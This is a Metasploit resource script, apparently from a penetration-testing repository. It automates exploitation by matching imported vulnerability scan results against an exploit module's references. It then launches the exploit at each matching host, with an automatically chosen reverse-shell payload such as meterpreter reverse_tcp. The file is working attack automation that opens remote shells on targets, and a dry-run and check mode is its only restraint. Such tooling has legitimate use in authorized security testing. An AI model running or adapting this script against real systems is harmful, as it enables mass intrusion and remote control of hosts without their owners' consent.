Files
metasploit-gs/scripts/resource/autoexploit.rc
T
m-1-k-3 5b526de09d bla
2012-07-10 13:21:32 +02:00

248 lines
5.9 KiB
Plaintext

<ruby>
#
# Print the help function
#
def help_me
help = %Q|
Description:
This Metasploit RC file can be used to automate the exploitation process. Before
using this script, you should import your vulnerability results to Metasploit, and
then it will exploit each possible host when there is a match to one of the
references. A reverse shell is automatically selected for you, and will always
default to a suitable meterpreter.
Usage:
./msfconsole -r [rc_path] [db_user] [db_pass] [db_workspace] [module_path] [dry] [check]
Arguments:
rc_path - Full path to the RC script
db_user - Username for MSF database (datastore: 'DB_USER')
db_pass - Password for MSF database (datastore: 'DB_PASS')
db_worksapce - Workspace for the database (datastore: 'DB_WORKSPACE')
module_path - Path to the exploit (datastore: 'MODULE')
dry - Optional. Dry-run mode [yes/no] (datastore: 'DRY')
check - Optional. Check mode [yes/no] (datastore: 'CHECK')
Example:
msfconsole -r autoexploit.rc username password msf windows/smb/ms08_067_netapi
Authors:
sinn3r <sinn3r[at]metasploit.com>
m-1-k-3 <m1k3[at]s3cur1ty.de>
|
help = help.gsub(/^\t/, '')
print_line(help)
end
#
# Load an exploit
#
def load_exploit(path)
framework.exploits.create(path)
end
#
# See if there is a match for the exploit
#
def ref_has_match(vuln_refs, exp_refs)
# exp_refs is an array of URLs
# vuln_refs is a collection of Mdm::Ref, with 'name' being the most useful info
# (may contain a link)
vuln_refs.each do |ref|
n = ref.name
n = n.gsub(/^CVE\-/, '')
n = n.gsub(/^OSVDB\-/, '')
n = n.gsub(/^MSB\-/, '')
n = n.gsub(/^EDB-/, '')
exp_refs.each { |e| return true if e.to_s =~ /#{n}/ }
end
return false
end
#
# Automatically select a payload in this order:
# Windows meterpreter, linux, osx, php, java, generic
#
def select_payload(exploit)
windows = 'windows/meterpreter/reverse_tcp'
linux = 'linux/x86/reverse_tcp'
osx = 'osx/x86/shell_reverse_tcp'
php = 'php/meterpreter_reverse_tcp'
multi = 'java/meterpreter/reverse_tcp'
generic = 'generic/shell_reverse_tcp'
payloads = []
exploit.compatible_payloads.each do |p|
payloads << p[0]
end
if payloads.include?(windows)
return windows
elsif payloads.include?(linux)
return linux
elsif payloads.include?(php)
return php
elsif payloads.include?(multi)
return multi
elsif payloads.include?(generic)
return generic
else
# WTF? This exploit supports NONE of our favorite payloads?
# What kinda BS is this?
return nil
end
end
#
# Connect to the database
#
def init_db(username, password, workspace)
if username.empty? or password.empty?
raise ArgumentError, "You must have a credential to connect to your database"
end
print_status("Connecting to database: #{workspace}")
run_single("db_connect #{username}:#{password}@localhost:5432/#{workspace}")
end
#
# Start the exploitation
#
def auto_exploit(module_path)
exploit = load_exploit(module_path)
raise RuntimeError, "Exploit not found: #{module_path}" if exploit.nil?
exploit_refs = exploit.references
get_payload = select_payload(exploit)
lhost = Rex::Socket.source_address('50.50.50.50')
if get_payload.nil?
raise RuntimeError, "No payload selected for this exploit"
else
print_status("Payload selected: #{get_payload} (lhost=#{lhost})")
end
framework.db.workspace.vulns.each do |vuln|
next if not ref_has_match(vuln.refs, exploit_refs)
print_good("Using #{exploit.shortname} against host #{vuln.host.address.to_s}")
run_single("use #{exploit.fullname}")
run_single("set RHOST #{vuln.host.address.to_s}")
run_single("set payload #{get_payload}")
run_single("set lhost #{lhost}")
run_single("exploit -z")
select(nil, nil, nil, 1)
run_single("back")
end
end
#
# Find all mathing references
#
def dry_run(module_path,check)
exploit = load_exploit(module_path)
raise RuntimeError, "Exploit not found: #{module_path}" if exploit.nil?
exploit_refs = exploit.references
framework.db.workspace.vulns.each do |vuln|
next if not ref_has_match(vuln.refs, exploit_refs)
addr = vuln.host.address.to_s
print_good("#{addr} seems vulnerable to #{exploit.shortname}")
if check == true
print_good("checking #{addr} with check mechanism of #{exploit.shortname}")
run_single("use #{exploit.fullname}")
run_single("set RHOST #{addr}")
run_single("check")
run_single("back")
print_line("")
end
end
end
#
# See if we're already connected
#
def is_db_connected?
begin
framework.db.hosts
return true
rescue ::ActiveRecord::ConnectionNotEstablished
return false
end
end
#
# Initialize our arguments
#
def init_args
args = {}
if ARGV.join('') =~ /^help$/i
args[:help] = true
return args
end
datastore = framework.datastore
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
args[:module] = ARGV.shift || datastore['MODULE'] || ''
args[:dry] = (ARGV.shift || datastore['DRY']) =~ /^yes$/i ? true : false
args[:check] = (ARGV.shift || datastore['CHECK']) =~ /^yes$/i ? true : false
raise ArgumentError, "Missing a module path" if args[:module].empty?
return args
end
#
# Code below serves as our "main" code.
# We chose not to wrap it around in a run() function, because if
# we do, any "return" will exit msfconsole, and we don't actually want that
# to happen.
#
begin
args = init_args
if args[:help]
help_me
return
else
if not is_db_connected?
init_db(args[:db_user], args[:db_pass], args[:db_workspace])
end
end
if args[:dry]
dry_run(args[:module], args[:check])
elsif args[:check]
dry_run(args[:module], args[:check])
else
auto_exploit(args[:module])
end
rescue ArgumentError => e
print_error("Invalid argument: #{e.message}")
return
rescue RuntimeError => e
print_error(e.message)
return
rescue ::Exception => e
raise e
end
</ruby>